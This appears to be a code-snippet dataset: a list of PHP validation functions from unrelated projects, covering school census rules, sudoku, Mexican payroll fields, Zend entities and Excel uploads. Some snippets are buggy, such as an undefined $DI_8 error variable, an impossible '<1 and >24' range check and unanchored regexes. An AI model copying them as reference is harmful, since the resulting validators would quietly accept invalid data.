$sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $iTotalTurmaAEE == 0 ) {\n\n $sMensagem = \"Ao selecionar Atendimento Educacional Especializado como 'Exclusivamente', deve\";\n $sMensagem .= \" existir na escola uma turma deste tipo criada e com aluno matriculado.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n if( $oDadosEscola->registro10->atividade_complementar == 2 ) {\n\n if( $iTotalTurmaNormal > 0 ) {\n\n $sMensagem = \"Atividade Complementar marcada como 'Exclusivamente'. Ao marcar esta opção, a escola\";\n $sMensagem .= \" não deve turmas de Ensino Regular, EJA e/ou Educação Especial, ou deve ser alterada\";\n $sMensagem .= \" a opção marcada.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $iTotalTurmaAC == 0 ) {\n\n $sMensagem = \"Ao selecionar Atividade Complementar como 'Exclusivamente', deve existir na escola\";\n $sMensagem .= \" uma turma deste tipo criada e com aluno matriculado.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n if( ( $oDadosEscola->registro10->atendimento_educacional_especializado == 1\n && $oDadosEscola->registro10->atividade_complementar == 2 )\n || ( $oDadosEscola->registro10->atividade_complementar == 1\n && $oDadosEscola->registro10->atendimento_educacional_especializado == 2 )\n ) {\n\n $sMensagem = \"Ao selecionar, ou Atendimento Educacional Especializado ou Atividade Complementar, como\";\n $sMensagem .= \" 'Não Exclusivamente', obrigatoriamente a outra opção não poderá ser marcada como\";\n $sMensagem .= \" 'Exclusivamente'.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->atendimento_educacional_especializado == 1 && $iTotalTurmaAEE == 0 ) {\n\n $sMensagem = \"Ao selecionar Atendimento Educacional Especializado como 'Não Exclusivamente', deve\";\n $sMensagem .= \" existir na escola uma turma deste tipo criada e com aluno matriculado.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->atividade_complementar == 1 && $iTotalTurmaAC == 0 ) {\n\n $sMensagem = \"Ao selecionar Atividade Complementar como 'Não Exclusivamente', deve\";\n $sMensagem .= \" existir na escola uma turma deste tipo criada e com aluno matriculado.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->atendimento_educacional_especializado == 0 && $iTotalTurmaAEE > 0 ) {\n\n $sMensagem = \"Atendimento Educacional Especializado marcado como 'Não Oferece', porém a escola possui\";\n $sMensagem .= \" turmas cadastradas para este tipo de atendimento.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->atividade_complementar == 0 && $iTotalTurmaAC > 0 ) {\n\n $sMensagem = \"Atividade Complementa marcado como 'Não Oferece', porém a escola possui turmas\";\n $sMensagem .= \" cadastradas para este tipo de atendimento.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n return $lTodosDadosValidos;\n }", "function isValid(array $grid, int $rowIndex, int $columnIndex): bool {//lolo\n $c = $grid[$rowIndex][$columnIndex];\n $xIndex = $rowIndex;\n $yIndex = $columnIndex;\n $rowIndex = 0;\n while ($rowIndex < 9)\n {\n if ($rowIndex != $xIndex) //verif diff de la case pour éviter la boucle inf\n if ($grid[$rowIndex][$columnIndex] == $c)\n return (false);\n $rowIndex++;\n }\n $columnIndex = 0;\n while ($columnIndex < 9)\n {\n if ($columnIndex != $yIndex)// idem avec la colonne\n if ($grid[$xIndex][$columnIndex] == $c)\n return (false);\n $columnIndex++;\n }\n $posY = floor($yIndex / 3) * 3; //verif la carré\n for ($i = 0; $i < 3; $i++)\n {\n $posX = floor($xIndex / 3) * 3; \n for($j = 0; $j < 3; $j++)\n {\n if ($grid[$posX][$posY] == $c && $posX != $xIndex && $posY != $yIndex)\n return false;\n $posX++;\n }\n $posY++;\n }\n return (true);\n}", "public function Valid();", "function isX($checkMe){\n\tif($checkMe==\"X\"){\n\t\treturn true; // return true if there's an X\n\t}else{\n\t\treturn false; // return false if the cell is blank\n\t}\n}", "function fncValidaDI_32($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_32 = \"(32)Nivel de puesto - NIVEL\";\n\t$DI_32_ErrTam = \"Nivel de puesto - NIVEL debe ser de 2 Digítos\";\n\t$DI_32_noDI \t = \"Nivel de puesto - NIVEL no corresponde las Directivas Institucionales establecidas por DGRH\";\n\t\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS)\n\t{\n\t\tif(!preg_match(\"/[0-9]{2}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_32.\"|\".$LocCampo.\"|\" . $DI_32_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_32.\"|\".$LocCampo.\"|\" . $DI_32_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_29($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_29 = \"(29)Pagaduria\";\n\t$DI_29_ErrTam = \"Tamaño de campo Pagaduria debe ser a 5 Caracters\";\n\t$DI_29_Pgria \t = \"Pagaduria no corresponde las reglas de negocio establecidas por DGRH\";\n\t\n\t\n\t// agregar catalogo de Municpios\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == CINCO)\n\t{\n\t\tif(!preg_match(\"/[A-Za-z0-9]{5}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_29.\"|\".$LocCampo.\"|\" . $DI_29_Pgria.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_29.\"|\".$LocCampo.\"|\" . $DI_29_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_59($IdEstado, $GestorErr, $NumReg, $Campo){\n\t \n\t$Bandera = CERO;\n\t$DI_58 = \"(59)Nombre del Producto\";\n\t$DI_58_ErrTam = \"Nombre del Producto debe ser de 11 caracteres/numeros\";\n\t$DI_58_Catalogo = \"No coincide con directiva de Calidad (Alfanumérico a 11)\";\n\t\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == 11){\n\t\tif(!preg_match(\"/[A-Z,a-z,0-9]{11}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_58.\"|\".$LocCampo.\"|\" . $DI_58_Catalogo.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse{\n\t\t$Error = $NumReg .\"|\".$DI_58.\"|\".$LocCampo.\"|\" . $DI_58_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_76($IdEstado, $GestorErr, $NumReg, $Campo){\n\t \n\t$Bandera = CERO;\n\t$DI_76 = \"(76)Tipo de Unidad\";\n\t$DI_76_ErrTam = \"Tipo de Unidad 1 enteros [1,2]\";\n\t$DI_76_DC = \"Tipo de Unidad con la Directiva de Calidad definida por la DGRH[1-2]\";\n\t\n\t$LocCampo = $Campo;\n\tif (strlen($LocCampo) == UNO){\n\t\tif(!preg_match(\"/[1-2]{1}/\",$LocCampo)){\n\t\t\t$Error = $NumReg .\"|\".$DI_76.\"|\".$LocCampo.\"|\" . $DI_76_DC.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse{\n\t\t$Error = $NumReg .\"|\".$DI_76.\"|\".$LocCampo.\"|\" . $DI_76_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "protected function _verification_format_fichier($sheet)\n {\n foreach ($this->columns as $column => $header) {\n if (strcasecmp(trim($this->_cellule($sheet,$column.'1')), $header) != 0) {\n return array($column, $header);\n }\n }\n\n return true;\n }", "function isEditavel() {\n\t\t// a data limite de edição do jogo vem no formato DD/MM/YYYY, por exemplo, 01/03/2019\n\t\t$dg = DataGetter::getInstance();\n\t\t$dialimite = $this->jogo->limiteEdicaoAposta[0] . $this->jogo->limiteEdicaoAposta[1]; // dialimite = 01\n\t\t$meslimite = $this->jogo->limiteEdicaoAposta[3] . $this->jogo->limiteEdicaoAposta[4]; // meslimite = 03\n\t\t$anolimite = $this->jogo->limiteEdicaoAposta[6] . $this->jogo->limiteEdicaoAposta[7] . $this->jogo->limiteEdicaoAposta[8] . $this->jogo->limiteEdicaoAposta[9]; //anolimite = 2019\n\t\t$dialimite = intval($dialimite); // transformando as variáveis em inteiros\n\t\t$meslimite = intval($meslimite);\n\t\t$anolimite = intval($anolimite);\n\t\t$mes = date(\"m\"); //date(\"m\") retorna o mês atual, entre 1 e 12\n\t\t$mes = intval($mes);\n\t\tif((intval(date(\"Y\"))) > $anolimite){ // se ano atual tiver ultrapassado ano da data limite\n\t\t\treturn false; // não é possível editar \n\t\t}\n\t\telseif(($mes > $meslimite && (intval(date(\"Y\"))) == $anolimite)){ // se mês atual tiver ultrapassado o limite, estando no mesmo ano\n\t\t\treturn false; // não é possível editar\n\t\t}\n\t\telseif((intval(date(\"d\"))) > $dialimite && $mes >= $meslimite && (intval(date(\"Y\"))) == $anolimite){ // se o dia tiver ultrapassado, estando no mesmo mês ou em algum seguinte no ano\n\t\t\treturn false; // não é possivel editar\n\t\t}\n\t\telse{ // caso não esteja em nenhuma das condições acima, significa que a data limite ainda não foi ultrapassada\n\t\t\treturn true; // então a aposta eh editável\n\t\t}\n\t}", "function fncValidaDI_65($IdEstado, $GestorErr, $NumReg, $Campo){\n\t \n\t$Bandera = CERO;\n\t$DI_64 = \"(65)Ciclo del FONAC\";\n\t$DI_64_ErrTam = \"Ciclo del FONAC debe ser de 4 Digitos\";\n\t$DI_64_DC = \"Ciclo del FONAC No coincide con la Directiva de Calidad definida por la DGRH(Numérico a 4 posiciones)\";\n\t\n\t$LocCampo = $Campo;\n\tif (strlen($LocCampo) == CUATRO){\n\n\n\t\tif(!preg_match(\"/[0-9]{4}/\",$LocCampo)){\n\t\t\t$Error = $NumReg .\"|\".$DI_64.\"|\".$LocCampo.\"|\" . $DI_64_DC.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse{\n\t\t$Error = $NumReg .\"|\".$DI_64.\"|\".$LocCampo.\"|\" . $DI_64_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_67($IdEstado, $GestorErr, $NumReg, $Campo){\n\t \n\t$Bandera = CERO;\n\t$DI_66 = \"(67)Acumulado de FONAC\";\n\t$DI_66_ErrTam = \"Acumulado de FONAC debe ser de 10 Digitos\";\n\t$DI_66_DC = \"Acumulado de FONAC No coincide con la Directiva de Calidad definida por la DGRH(##########.##)\";\n\t$DI_65_Catalogo = \"Acumulado de FONAC No coincide el catalogo definido por la DGRH(01-24)\";\n\t\n\t\n\t$LocCampo = $Campo;\n\tif (strlen($LocCampo) == DIEZ){\n\t\tif(!preg_match(\"/[0-9]{7}.[0-9]{2}/\",$LocCampo)){\n\t\t\t$Error = $NumReg .\"|\".$DI_66.\"|\".$LocCampo.\"|\" . $DI_66_DC.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse{\n\t\t$Error = $NumReg .\"|\".$DI_66.\"|\".$LocCampo.\"|\" . $DI_66_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_16($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_16 = \"(16)Grupo Funcional\";\n\t$DI_16_ErrTam = \"Tamaño de Grupo Funcional debe ser dígito a 1 posicion\";\n\t$DI_16_GF = \"El grupo Funcional no es parte del catalogo de DGRH\";\n\n\t\n\n /** Quita caracteres especiales **/\n\t//$LocCampo =preg_replace('/[^A-Za-z0-9\\-]/', '', $Campo);\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == UNO)\n\t{\n\t\tif(!preg_match (\"/[1-4]{1}/\" ,$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_16.\"|\".$LocCampo.\"|\" . $DI_16_GF.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_16.\"|\".$LocCampo.\"|\" . $DI_16_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "public function isValid() {\n\n foreach ($this->entity as $nameColumn => $column) {\n\n $validate = null;\n // Se for chave primaria e tiver valor, valida inteiro somente sem nenhuma outra validacao.\n if ($column['contraint'] == 'pk' && $column['value']) {\n $validate = new Zend_Validate_Digits();\n } else {\n\n//______________________________________________________________________________ VALIDANDO POR TIPO DA COLUNA NO BANCO\n // Se tiver valor comeca validacoes de acordo com o tipo.\n // Se nao pergunta se é obrigatorio, se for obrigatorio valida.\n if ($column['value']) {\n // Se for inteiro\n if ($column['type'] == 'integer' || $column['type'] == 'smallint') {\n $validate = new Zend_Validate_Digits();\n // Se for data\n } else if ($column['type'] == 'numeric') {\n $column['value'] = str_replace('.', '', $column['value']);\n $column['value'] = (float) str_replace(',', '.', $column['value']);\n $validate = new Zend_Validate_Float();\n } else if ($column['type'] == 'date') {\n\n\t\t\t\t\t\t$posBarra = strpos($column['value'], '/');\n\t\t\t\t\t\t$pos = strpos($column['value'], '-');\n\t\t\t\t\t\tif ($posBarra !== false) {\n\t\t\t\t\t\t\t$date = explode('/', $column['value']);\n\t\t\t\t\t\t\tif (!checkdate($date[1], $date[0], $date[2])) {\n\t\t\t\t\t\t\t\t$this->error[] = array(\"name\" => $nameColumn, \"msg\" => ($column['value'] . self::MSG_DATA_INVALIDA));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($pos !== false) {\n\t\t\t\t\t\t\t$date = explode('-', $column['value']);\n\t\t\t\t\t\t\tif (!checkdate($date[1], $date[2], $date[0])) {\n\t\t\t\t\t\t\t\t$this->error[] = array(\"name\" => $nameColumn, \"msg\" => ($column['value'] . self::MSG_DATA_INVALIDA));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n // Se for texto\n } else if ($column['type'] == 'character' || $column['type'] == 'character varying') {\n\n // Se for Bollean\n } else if ($column['type'] == 'boolean') {\n\n // Se for texto\n } else if ($column['type'] == 'text') {\n \n } else if ($column['type'] == 'timestamp without time zone') {\n if (strpos($column['value'], '/')) {\n\n if (strpos($column['value'], ' ')) {\n $arrDate = explode(' ', $column['value']);\n\n // Validando a data\n $date = explode('/', $arrDate[0]);\n if (!checkdate($date[1], $arrDate[0], $date[2])) {\n $this->error[] = array(\"name\" => $nameColumn, \"msg\" => ($arrDate[0] . self::MSG_DATA_INVALIDA));\n }\n\n // Validando a hora\n $validateTime = new Zend_Validate_Date('hh:mm');\n $validateTime->isValid($arrDate[1]);\n if ($validateTime->getErrors()) {\n $this->error[] = array(\"name\" => $nameColumn, \"msg\" => ($arrDate[1] . self::MSG_DATA_HORA_INVALIDA));\n }\n } else {\n // Validando a data\n $date = explode('/', trim($column['value']));\n if (!checkdate($date[1], $date[0], $date[2])) {\n $this->error[] = array(\"name\" => $nameColumn, \"msg\" => ($column['value'] . self::MSG_DATA_INVALIDA));\n }\n }\n }\n }\n\n//______________________________________________________________________________ VALIDANDO POR LIMITE DA COLUNA NO BANCO\n // Validando quantidade de caracteres.\n if ($column['maximum']) {\n $validateMax = new Zend_Validate_StringLength(array('max' => $column['maximum']));\n $validateMax->isValid($column['value']);\n if ($validateMax->getErrors()) {\n $this->error[] = array(\"name\" => $nameColumn, \"msg\" => (reset($validateMax->getMessages())));\n }\n $validateMax = null;\n }\n } else {\n//______________________________________________________________________________ VALIDANDO POR NAO VAZIO DA COLUNA NO BANCO\n // Validando se nao tiver valor e ele for obrigatorio.\n if ($column['is_null'] == 'NO' && $column['contraint'] != 'pk') {\n $validate = new Zend_Validate_NotEmpty();\n }\n }\n\n//______________________________________________________________________________ VALIDANDO A CLOUNA E COLOCANDO A MENSAGEM\n if ($validate) {\n $validate->isValid($column['value']);\n if ($validate->getErrors()) {\n\t\t\t\t\t\t$msg = $validate->getMessages();\n $this->error[] = array(\"name\" => $nameColumn, \"msg\" => ( reset($msg) ));\n }\n\n $validate = null;\n }\n }\n }\n\t\t\n if ($this->error)\n return false;\n else\n return true;\n }", "function fncValidaDI_9($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = 0;\n\n\t$DI_9 = \"(9)Clave del Banco (CLABE)\";\n\t$DI_9_ErrTam = \"Tamaño de Clave del Banco (CLABE) debe ser 18 dígitos\";\n\t$DI_9_NumCta = \"No cumple con Directiva debe ser 18 digitos\";\n\n\t\n\n /** Quita caracteres especiales **/\n\t//$LocCampo =preg_replace('/[^A-Za-z0-9\\-]/', '', $Campo);\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == 18)\n\t{\n\t\tif(!preg_match (\"/\\d{18}/\" ,$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_8.\"|\".$LocCampo.\"|\" . $DI_8_NumCta.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_9.\"|\".$LocCampo.\"|\" . $DI_9_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "function rawpheno_validate_excel_file($file, $project_id, $source) {\n $status = array();\n\n // Process the validators to make them easier to use.\n // Specifically, sort them by their scope.\n $validators = array();\n $all_validators = module_invoke_all('rawpheno_validators');\n foreach($all_validators as $k => $v) {\n $validators[ $v['scope'] ][ $k ] = $v;\n }\n\n // Todo list.\n $all_scope_validators = array('project', 'file', 'all', 'header', 'subset');\n\n // Add the libraries needed to parse excel files.\n rawpheno_add_parsing_libraries();\n\n // Before performing any validation to the excel file. Ensure first that a project is selected.\n foreach ($validators['project'] as $prj_validator_name => $prj_validator) {\n if (isset($prj_validator['validation callback']) AND function_exists($prj_validator['validation callback'])) {\n $status[ $prj_validator_name ] = call_user_func($prj_validator['validation callback'], $project_id);\n\n // If returned false then halt validation.\n if ($status[ $prj_validator_name ] === FALSE) {\n // Fail the project and set the rest to TODO.\n $status[ $prj_validator_name ] = FALSE;\n\n // Todo the rest of validators.\n // Since this is project scope and it got falsed - remove the project.\n unset($all_scope_validators[0]);\n foreach($all_scope_validators as $v) {\n foreach($validators[ $v ] as $v_name => $validator) {\n $status[ $v_name ] = 'todo';\n }\n }\n\n return $status;\n }\n }\n }\n\n // First validate the whole file. If any of these fail then halt validation.\n foreach ($validators['file'] as $validator_name => $validator) {\n if (isset($validator['validation callback']) AND function_exists($validator['validation callback'])) {\n $status[ $validator_name ] = call_user_func($validator['validation callback'], $file);\n\n // If returned false then halt validation.\n if ($status[ $validator_name ] === FALSE) {\n // Fail the file and set the rest to TODO but set the project to passed\n // first since it is assumed that project validator returned a passed value.\n $status[ 'project_selected' ] = TRUE;\n $status[ $validator_name ] = FALSE;\n\n // Todo the rest of validators.\n // Since project is completed. skip this scope.\n unset($all_scope_validators[0]);\n foreach($all_scope_validators as $v) {\n foreach($validators[ $v ] as $v_name => $validator) {\n if ($status[ $v_name ] === TRUE) {\n $status[ $v_name ] = TRUE;\n }\n elseif ($status[ $v_name ] === FALSE) {\n $status[ $v_name ] = FALSE;\n }\n else {\n $status[ $v_name ] = 'todo';\n }\n }\n }\n\n return $status;\n }\n }\n }\n\n // Open the file for reading\n $xls_obj = rawpheno_open_file($file);\n\n // Change to the correct spreadsheet.\n rawpheno_change_sheet($xls_obj, 'measurements');\n\n // This increment variable $i is required since xls and xlsx\n // parsers assign array index differently.\n // XLS starts at 1, while XLSX at 0;\n $i = 0;\n\n // Variations of Not Applicable.\n $not_applicable = array('na', 'n/a', 'n.a.');\n\n // Skip columns.\n $skip = array();\n // Project name.\n $project_name = rawpheno_function_getproject($project_id);\n // Calling all modules implementing hook_rawpheno_ignorecols_valsave_alter():\n drupal_alter('rawpheno_ignorecols_valsave', $skip, $project_name);\n\n // Iterate though each row.\n $num_errored_rows = 0;\n $storage = array();\n foreach($xls_obj as $row) {\n $i++;\n\n // Convert row into a string and check the length.\n // This will exclude empty rows.\n if (strlen(trim(implode('', $row))) >= 5) {\n\n // VALIDATE THE HEADER.\n if ($i == 1) {\n // Save the header for later.\n $header = array();\n $new_header = array();\n // Checking plot value requires cell value in Planting Date (date) and Location.\n // Store index numbers of these two traits.\n $plot_req = array();\n\n $o = 0;\n foreach ($row as $r) {\n $without_format = rawpheno_function_delformat($r);\n\n // To maintain index of both cells and header, tag either to skip or process\n // based on headers in drupal_alter hook.\n $s = (in_array($without_format, $skip)) ? 1 : 0;\n\n // Remove new lines.\n $rem_newline = str_replace(array(\"\\n\", \"\\r\"), ' ', $r);\n // Remove extra spaces.\n $rem_spaces = preg_replace('/\\s+/', ' ', $rem_newline);\n // Remove leading and trailing spaces.\n $r = trim($rem_spaces);\n $no_units = rawpheno_get_trait_name($r);\n\n $header[] = array(\n 'no format' => $without_format,\n 'original' => $r,\n 'units' => rawpheno_function_unit($without_format),\n 'no units' => $no_units,\n 'skip' => $s,\n );\n\n // Store index number of Plot trait requirements.\n if (!isset($plot_req['planting date (date)']) && $without_format == 'plantingdate(date)') {\n $plot_req['planting date (date)'] = $o;\n }\n elseif (!isset($plot_req['location']) && $without_format == 'location') {\n $plot_req['location'] = $o;\n }\n\n $o++;\n }\n\n // Foreach validator with a scope of header, execute the validation callback & save the results.\n foreach($validators['header'] as $validator_name => $validator) {\n if (isset($validator['validation callback']) AND function_exists($validator['validation callback'])) {\n $result = call_user_func($validator['validation callback'], $header, $project_id);\n\n // The status needs to keep track of which rows failed for a given header.\n if ($result === FALSE) {\n $status[ $validator_name ] = $i;\n }\n elseif (is_array($result)) {\n $status[ $validator_name ] = $result;\n }\n }\n }\n }\n // VALIDATE THE ROW.\n else {\n\n $row_has_error = FALSE;\n foreach ($row as $column_index => $cell) {\n if ($header[$column_index]['skip'] == 1) continue;\n\n $column_name = $header[$column_index]['no units'];\n if (empty($column_name)) continue;\n\n // Prior to validating, Remove non-breaking whitespace by converting it to a blank space instead of removing it,\n // in case user intends a space between words/values.\n // trim() implementation below should drop unecessary leading and trailing spaces.\n if (preg_match('/\\xc2\\xa0/', $cell)) {\n $cell = preg_replace('/\\xc2\\xa0/', ' ', $cell);\n }\n\n // We always want to strip flanking white space.\n // FYI: This is done when the data is loaded as well.\n $cell = trim($cell);\n\n // For consistency, convert all variations of not applicable to NA.\n if (is_string($cell) && in_array(strtolower($cell), $not_applicable)) {\n $cell = 'NA';\n }\n\n // Foreach validator:\n foreach (array('all','subset') as $scope) {\n foreach($validators[$scope] as $validator_name => $validator) {\n\n // Only validate if there is a validation callback.\n if (isset($validator['validation callback']) AND function_exists($validator['validation callback'])) {\n\n // Only validate if the current validator applies to the current column.\n // Specifically, if there are no defined headers it's applicable to\n // OR if the current header is in the list of applicable headers.\n if (!isset($validator['headers']) OR in_array($column_name, $validator['headers'])) {\n\n // Execute the validation callback & save the results.\n $tmp_storage = (isset($storage[$validator_name])) ? $storage[$validator_name] : array();\n $context = array(\n 'row index' => $i,\n 'column index' => $column_index,\n 'row' => $row,\n 'header' => $header\n );\n\n // If column header is Plot, attach Plot validation requirement to\n // $context array. The indexes will be used to fetch the cell value in context row.\n if ($column_name == 'Plot') {\n $context['plot_req'] = $plot_req;\n }\n\n $result = $validator['validation callback']($cell, $context, $tmp_storage, $project_id);\n\n // Note: we use tmp storage b/c passing $storage[$validator_name] directly\n // doesn't seem to work.\n $storage[$validator_name] = $tmp_storage;\n\n // The status needs to keep track of which rows failed for a given header.\n if (is_array($result)) {\n $status[ $validator_name ][ $column_name ][$i] = $result;\n $row_has_error = TRUE;\n }\n elseif ($result !== TRUE) {\n $status[ $validator_name ][ $column_name ][$i] = $i;\n $row_has_error = TRUE;\n }\n }\n }\n }\n }\n }\n\n if ($row_has_error) $num_errored_rows++;\n }\n\n // Only check until you have 10 rows with errors.\n if ($num_errored_rows >= 10) {\n // We only want to present the warning if this is not the end of the file ;-)\n $has_next = $xls_obj->next();\n if ($has_next AND strlen(trim(implode('', $has_next))) >= 1) {\n $check_limit_message = \"We have only checked the first $i lines of your file. Please fix the errors reported below and then upload the fixed file.\";\n\n if ($source == 'upload') {\n drupal_set_message($check_limit_message, 'error');\n return $status;\n }\n elseif ($source == 'backup') {\n return array('status' => $status, 'check_limit' => $check_limit_message);\n }\n }\n }\n }\n }\n\n // Make sure all validators are represented in status.\n // If they are not already then a failure wasn't recorded -thus they passed :-).\n foreach($all_validators as $validator_name => $validator) {\n if (!isset($status[$validator_name])) {\n $status[$validator_name] = TRUE;\n }\n }\n\n return $status;\n}", "function fncValidaDI_49($IdEstado, $GestorErr, $NumReg, $Campo){\n\t \n\t$Bandera = CERO;\n\n\t$DI_49 = \"(49)Quincena de Proceso Real\";\n\t$DI_49_ErrTam = \"Quincena de Proceso Real ser de 2 digitos\";\n\t$DI_49_Qna \t = \"La quincena no corresponde a la Directiva de Calidad deifinida por la DGRH(01-24)\";\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS){\n\n\t\tif((int)$LocCampo <1 and (int)$LocCampo > 24){\n\t\t\t$Error = $NumReg .\"|\".$DI_49.\"|\".$LocCampo.\"|\" . $DI_49_Qna.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\n\n\t}\n\telse{\n\t\t$Error = $NumReg .\"|\".$DI_49.\"|\".$LocCampo.\"|\" . $DI_49_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function validate(){\n }", "protected function validaObligatorios() {\n $this->controlaValidezLista($this->armaArrayClavesListas());\n $retorno = true;\n $arrayFallos = array();\n $arrayClaves = array_keys($this->arrayObligatorios);\n foreach ($arrayClaves as $cpoOblig) {\n $atrib = $this->buscoAtributo($cpoOblig);\n if ($this->arrayObligatorios[$cpoOblig] == 0) {\n $arrayFallos[] = $atrib;\n $retorno = $arrayFallos;\n }\n }\n return $retorno;\n }", "function fncValidaDI_3($IdEstado, $GestorErr, $NumReg, $Campo,$CampoAux)\n{\n\t \n\t$Bandera = 0;\n\t$CatEdo = array(\"AS\" , \"BC\",\"BS\", \"CC\", \"CL\", \"CM\",\"CS\", \"CH\", \"DF\", \n\t\t\t\t\"DG\", \"GT\", \"GR\", \"HG\", \"JC\", \"MC\",\"MN\", \"MS\", \"NT\", \"NL\", \"OC\",\n\t\t\t\t\"PL\", \"QT\", \"QR\", \"SP\",\"SL\", \"SR\", \"TC\", \"TS\", \"TL\",\"VZ\", \"YN\", \"ZS\", \"NE\");\n\n\t$DI_3 = \"(3)Clave Única de Registro de Población (CURP)\";\n\t$DI_3_ErrTam = \"Tamaño de registro debe ser 18 Caracteres\";\n\t$DI_3_ErrIdEdo = \"Identificador de estado Invalido\";\n\t$DI_3_ErrRFC = \"CURP Incorrecto en Sección I AAAA\";\n\t$DI_3_ErrFecNac = \"CURP Incorrecto en Sección II Fecha Nacimiento\";\n\t$DI_3_ErrGenero = \"CURP Incorrecto en Sección III Genero\";\n\t$DI_3_ErrEntFecNac= \"CURP Incorrecto en Sección IV Entidad Federativa Nacimeinto\";\n\n\n\t//echo \"Datos Entrada: IdEstado >\".$IdEstado. \"< \\nGestorErr >\". $GestorErr .\"< \\nNumReg >\".$NumReg. \"< \\nCampo >\". $Campo .\"<\\n\";\n\t$MtrxStrAux = explode(\"/\", $CampoAux);\n\t$MtrxStrAuxApp = explode(\",\", $MtrxStrAux[CERO]);\n\t$AppPat\t\t= (isset($MtrxStrAuxApp[CERO]))?$MtrxStrAuxApp[CERO]:\"\" ;\n\t$AppMat = (isset($MtrxStrAuxApp[UNO]))?$MtrxStrAuxApp[UNO]:\"\";\n\t$NomEmpl = (isset($MtrxStrAux[UNO]))?$MtrxStrAux[UNO]:\"\";\n/**\t\n\techo \"AppPat >$AppPat< 